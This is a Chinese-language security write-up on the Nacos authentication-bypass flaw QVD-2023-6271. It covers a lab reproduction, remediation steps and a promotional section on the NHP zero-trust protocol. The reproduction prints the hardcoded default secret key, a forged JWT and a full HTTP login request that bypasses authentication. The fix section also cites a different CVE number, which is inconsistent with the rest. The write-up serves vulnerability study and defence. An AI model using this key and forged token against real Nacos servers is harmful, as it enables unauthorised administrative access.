0x01 概述#
在過去四年中,筆者通過參與各種攻防演練、護網行動和重點保障任務,深刻地認識到了傳統網絡安全策略的局限性。這些實戰經驗不僅讓圈子加深了對網絡安全、數字安全領域的理解,也揭示了在不斷演變的威脅環境中,傳統安全措施如何變得不再充分。尤其在 2023 年護網中,Nacos 的 0day 漏洞事件圈內引起了廣泛關注。
在這種背景下,傳統的安全產品,如防火牆和 Web 應用防火牆(WAF),在應對這種應用層漏洞方面顯得力不從心。這些產品雖然能有效防禦某些網絡層面的攻擊,但面對複雜的應用層漏洞,如 Nacos 所面臨的身份認證繞過問題,它們往往無法提供足夠的保護。此外,面對這類漏洞,打補丁的周期往往較長,意味著系統在漏洞被公開和修復之前,持續處於高風險狀態,造成 HW 行動中被打穿。
本文旨在通過 Nacos 的QVD-2023-6271
這一漏洞,探討傳統安全產品在應對複雜網絡威脅時的局限性,並介紹一種新興的網絡安全方法 —— 網絡資源超隱身協議(NHP 協議),NHP 協議作為零信任安全框架的核心組件之一,專為網絡環境中的資源隱身和安全訪問設計,在 “永不信任、持續驗證” 的安全理念指導下,通過一套嚴格的身份驗證和授權流程來控制數據資源的訪問。這種方法在 Nacos 的應用場景中顯著增強了系統的安全性。通過將 NHP 協議應用於 Nacos,不僅能有效應對特定的安全挑戰,如身份認證繞過漏洞,還能在更廣泛的層面上提升整個系統的安全性和韌性。這篇文章將深入探討 NHP 協議在增強 Nacos 安全性中的應用,以及其相較於傳統安全產品的優勢。
0x02 漏洞影響範圍#
Nacos 是阿里巴巴開源的 SpringCloud Alibaba 項目下的一項技術。Nacos 是一個用於動態配置管理、服務發現和服務管理的平台,它可以幫助開發人員更容易地構建和管理微服務架構的應用程序。它提供了一種集中的方式來管理配置信息,同時還可以用於發現和註冊微服務,以確保它們能夠有效地通信和協作。這使得 Nacos 成為構建分佈式系統的強大工具之一。目前 Github 該倉庫已有 28.3k + 的 star。
漏洞介紹:開源服務管理平台 Nacos 中存在身份認證繞過漏洞,在默認配置下未對 token.secret.key 進行修改,導致遠程攻擊者可以繞過密鑰認證進入後台,造成系統受控等後果。
影響版本:Nacos <= 2.2.0
利用難度:低
漏洞編號:NVDB-CNVDB-2023674205
QVD-2023-6271
威脅級別:嚴重,能夠造成遠程代碼執行
綜合評價:漏洞利用難度低,且在外網情況下可以造成遠程代碼執行,且已被公開,可被黑客利用進行全網掃描。
0x03 攻擊原理#
在 nacos 中,token.secret.key 值是固定的。
key=SecretKey012345678901234567890123456789012345678901234567890123456789
利用該默認 key 可進行 jwt 構造,直接進入後台。
0x04 復現步驟#
IP 地址 | 用途 | 備註 |
---|---|---|
172.17.0.1 | 靶機 | 通過配置 docker 容器,搭建啟動 docker 服務 |
192.168.31.31 | 攻擊機 Kali | 攻擊機 |
環境機搭建#
Windows 環境搭建#
該漏洞用到了 JAVA 環境,參考網上已有的復現文章,使用 jdk-11.0.2_windows-x64_bin.exe。
下載鏈接:https://github.com/alibaba/nacos/releases/tag/2.2.0
由於 2.2.0 後的 nacos 已經將該漏洞修復,所以使用 2.2.0 的包。
下載完成之後放到虛擬機,執行startup.cmd -m standalone
。
執行成功後即可在本地啟動 nacos。
看到如上圖輸出信息後即代表搭建成功,通過路徑訪問。
http://192.168.31.31:8848/nacos/#/login
Linux 下 docker 搭建 nacos#
本次漏洞復現使用 docker 進行漏洞復現,docker 中執行以下命令即可。
docker search nacos #尋找合適的nacos版本
docker pull nacos/nacos-server #下載鏡像
設置掛載。
mkdir -p /tmp/nacos/logs/ #新建logs目錄
mkdir -p /tmp/nacos/init.d/
修改配置文件。
vim /tmp/nacos/init.d/custom.properties
server.contextPath=/nacos
server.servlet.contextPath=/nacos
server.port=8848
spring.datasource.platform=mysql
db.num=1
db.url.0=jdbc:mysql://127.0.0.1:3306/nacos-config? characterEncoding=utf8&connectTimeout=1000&socketTimeout=3000&autoReconnect=true #這裡需要修改端口
db.user=root #用戶名
db.password=123456 #密碼
nacos.cmdb.dumpTaskInterval=3600
nacos.cmdb.eventTaskInterval=10
nacos.cmdb.labelTaskInterval=300
nacos.cmdb.loadDataAtStart=false
management.metrics.export.elastic.enabled=false
management.metrics.export.influx.enabled=false
server.tomcat.accesslog.enabled=true
server.tomcat.accesslog.pattern=%h %l %u %t "%r" %s %b %D %{User-Agent}i
nacos.security.ignore.urls=/,/**/*.css,/**/*.js,/**/*.html,/**/*.map,/**/*.svg,/**/*.png,/**/*.ico,/console-fe/public/**,/v1/auth/login,/v1/console/health/**,/v1/cs/**,/v1/ns/**,/v1/cmdb/**,/actuator/**,/v1/console/server/**
nacos.naming.distro.taskDispatchThreadCount=1
nacos.naming.distro.taskDispatchPeriod=200
nacos.naming.distro.batchSyncKeyCount=1000
nacos.naming.distro.initDataRatio=0.9
nacos.naming.distro.syncRetryDelay=5000
nacos.naming.data.warmup=true
nacos.naming.expireInstance=true
啟動容器。
docker run --name nacos -d -p 8848:8848 -p 9848:9848 --privileged=true --restart=always -e JVM_XMS=256m -e JVM_XMS=256m -e MODE=standalone -e PREFER_HOST_MODE=hostname -e PREFER_HOST_MODE=hostname -v /tmp/nacos/logs:/home/nacos/logs -v /tmp/nacos/init.d/custom.properties:/home/nacos/init.d/custom.properties nacos/nacos-server
成功啟動容器之後似乎 docker 存在某些問題,執行以下命令即可正常啟動容器。
docker exec -it [容器哈希] /bin/bash #進入docker容器
cd bin
sh docker-startup.sh
訪問網站 http://192.168.31.31:8848/nacos。
成功打開網站。
4.2 漏洞復現#
在 nacos 中,token.secret.key 是死的,位置在 conf 目錄下 application.properties 中。
我的環境中 key 值為:SecretKey012345678901234567890123456789012345678901234567890123456789}
。
利用該值可以進行 JWT 構造,訪問https://jwt.io/ 輸入默認的 key 值。
{
"alg": "HS256",
"typ": "JWT"
}
{
"sub":"nacos",
"exp":"1704724306"
}
這裡 exp 的值為當前時間戳往後的時間,要比真實時間更晚。
需要注意的是在網站中,需要勾選secret base64 encoded
選項。
在數據包中添加Authorization
請求包如下。
POST /nacos/v1/auth/users/login HTTP/1.1
Host: 192.168.31.31:8848
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: http://139.196.217.155
Connection: close
Referer: http://139.196.217.155/nacos/
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6IjE3MDQ3MjQzMDYifQ.tjGozAqCoY1r0AKy8fnF1qORQAtF-7-dDrnBR2t2-08
username=admin&password=123456
將數據包發出並截停回包,拿到了 access_token。
將得到的信息全部複製保存,再進行正常登錄,截停回包,將返回包修改為複製的信息,即可正常完成登錄。
0x05 修復方案#
一、升級到最新版本。
二、刪除默認配置中的下列選項,啟動 nacos 時必須手動配置。
通過修改 conf/application.properties 文件即可。
nacos.core.auth.server.identity.key
nacos.core.auth.server.identity.value
nacos.core.auth.plugin.nacos.token.secret.key
- 修改 nacos 的 application.properties 配置文件 nacos.core.auth.enabled=true,開啟服務身份識別功能。
- 重啟 nacos。
此時我們再訪問剛才的接口,換在瀏覽器執行如果出現這個:
出現 403 的說明修改成功。
- Nacos 註冊及配置中心開啟權限認證。
以上修改完成以後,再次漏掃,nacos 權限繞過漏洞 (CVE-2021-29441) 不會再出現。
0x06 傳統安全產品與 Nacos 漏洞處理的局限性#
在網絡安全領域,傳統安全產品,如阿里雲安全中心(原雲騎士),雖然提供了基礎的保護措施,但在應對複雜和高級的安全威脅時,它們的能力可能顯得不足。以 Nacos 漏洞為例,傳統安全產品主要依賴於推薦應用升級或修改服務器配置文件這類被動和通用的策略。這種方法雖然對於即時防禦某些已知漏洞有效,但在根本上並沒有解決安全漏洞的潛在風險。
阿里雲安全中心在發現 Nacos 身份認證繞過漏洞後,推薦的修復策略主要是應用升級,以及對原生雲服務器應用的配置文件進行修改。這種做法雖然能夠在一定程度上提供防護,但它並沒有提供一個系統性的解決方案來應對更深層次的安全問題。例如,僅靠升級應用並不能完全避免未來的安全漏洞,而直接修改配置文件可能會對應用的正常運行造成影響。更重要的是,這類傳統安全產品通常只在面對已知威脅時才能提供有效的防護措施。它們往往缺乏對未知威脅的預防能力,無法主動識別和防禦尚未發現的安全漏洞。此外,依賴於雲服務提供商進行安全干預,可能會導致客戶對自己的安全狀況產生依賴,從而忽視了自身在安全管理和持續監控方面的責任。
因此,在處理像 Nacos 這樣的複雜漏洞時,單靠傳統雲安全產品可能不足以提供充分的保護。為了真正提升安全性和減少對外部服務的依賴,需要探索更先進、更主動的安全措施,比如 NHP(網絡資源超隱身)協議。接下來的部分將詳細探討 NHP 協議在增強 Nacos 安全性方面的應用,以及它相較於傳統雲安全產品的優勢。
0x07 NHP 協議在增強 Nacos 安全性中的應用#
NHP 協議概述#
網絡資源超隱身協議(NHP)是零信任安全框架的核心組件之一,專為網絡環境中的資源隱身和安全訪問設計。在 “永不信任、持續驗證” 的零信任安全理念指導下,NHP 協議通過一套嚴格的身份驗證和授權流程來控制數據資源的訪問,從而確保僅經過身份認證和權限鑑別的合法請求者才能訪問到目標資源。NHP 協議的技術架構包括 NHP 代理、NHP 服務器和 NHP 門禁等組件,協同工作以隱藏數據資源的真實網絡位置,提供安全的授權訪問。
NHP 協議與 Nacos 安全性#
在 Nacos 的應用場景中,NHP 協議的應用可以顯著增強系統的安全性。針對 Nacos 面臨的身份認證繞過漏洞,NHP 協議提供了一種有效的防禦機制。通過 NHP,Nacos 服務器可以在網絡上實現 “隱身”,即在未經驗證的情況下,對潛在的攻擊者或非授權用戶不可見。NHP 協議中的敲門流程確保了只有經過認證的請求者才能發現並接觸到 Nacos 服務器,大大減少了未授權訪問和潛在攻擊的機會。此外,NHP 協議通過其分佈式架構和高效的加密通信機制,為 Nacos 提供了一層額外的安全保護,確保了數據通信的完整性和機密性。
NHP 協議的優勢#
NHP 協議在增強 Nacos 安全性方面的應用帶來了多方面的優勢。首先,它通過隱藏 Nacos 服務的網絡位置,顯著降低了被惡意掃描和識別的風險。其次,NHP 協議的身份驗證和授權機制為 Nacos 提供了更強的訪問控制,確保只有經過嚴格認證的用戶才能訪問服務。這一點對於防禦身份認證漏洞尤為關鍵。此外,NHP 協議的設計還考慮了性能和可擴展性,確保在提高安全性的同時,不會對 Nacos 系統的性能產生過大影響。最後,NHP 協議的應用有助於提高 Nacos 系統的整體安全態勢,使其更加適應當今複雜多變的網絡安全環境。
總體而言,將 NHP 協議應用於 Nacos 不僅能有效應對特定的安全挑戰,如身份認證繞過漏洞,還能在更廣泛的層面上提升整個系統的安全性和韌性。這使得 NHP 協議成為提升 Nacos 安全架構的重要組成部分,為保護關鍵的數據資源提供了一種創新且有效的方法。